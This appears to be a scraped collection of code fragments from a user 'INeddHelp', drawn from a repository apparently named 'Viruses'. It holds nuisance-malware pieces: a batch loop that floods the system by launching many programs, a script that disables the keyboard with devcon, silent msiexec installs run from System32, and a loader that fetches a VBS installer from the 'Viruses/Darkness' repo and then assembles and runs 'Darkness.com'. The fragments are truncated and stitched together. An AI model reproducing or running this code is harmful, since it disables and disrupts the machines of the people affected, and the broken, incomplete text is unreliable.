INeddHelp

' Create the variables

Dim fso, folder, folders, username   

username = CreateObject("WScript.Network").UserName  

Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetFolder("C:\Users" & username & "\Desktop")
Set folders = folder.SubFolders

INeddHelp

@echo off
:HyperLoop
start cmd.exe
start robocopy.exe
start diskcopy.com
start edit.com
start mode.com
start more.com
start sys.com
start attrib.exe

INeddHelp

Const CSIDL_COMMON_DESKTOPDIRECTORY = &H19
Const SPIF_UPDATEINIFILE = &H1
Const SPIF_SENDWININICHANGE = &H2
Const DESKTOP_BACKGROUND = &H0&

Dim objFSO, objFolder
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetSpecialFolder(CSIDL_COMMON_DESKTOPDIRECTORY)

strFile = objFolder & "\wp11484003.jpg"

INeddHelp

import discord

intents = discord.Intents.default()
intents.members = True  # Enable the privileged members intent

client = discord.Client(intents=intents)

@client.event
async def on_ready():
    print('Ready')

INeddHelp

@echo off 

for /f "tokens=2" %%a in ('wmic path Win32_Keyboard get DeviceID /value ^| find "="') do (
  set "keyboard=%%a"
  
  devcon.exe disable %keyboard%
)

timeout /t 5
' wait 5 secs

INeddHelp

Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run "msiexec /i nasm-2.14.02-win32.exe /quiet", 0, True

objShell.CurrentDirectory = "C:\Windows\System32"

objShell.Run "nasm.bat", 1, True

INeddHelp

@echo off
cd /d %windir%\system32

where nasm.exe >nul 2>&1
if %errorlevel% == 0 (
    nasm -f bin -o Darkness.com Darkness.asm
    Darkness.com
) else (
    set URL=https://github.com/INeddHelp/Viruses/tree/master/Darkness/namsinstaller.vbs
    set DESTINATION=%temp%\namsinstaller.vbs

INeddHelp

section .data
    screen db 0x13 ; Video mode 0x13 is 320x200 256-color mode

section .text
    global _start

_start:
    ; Set video mode
    mov ah, 0x00
    mov al, [screen]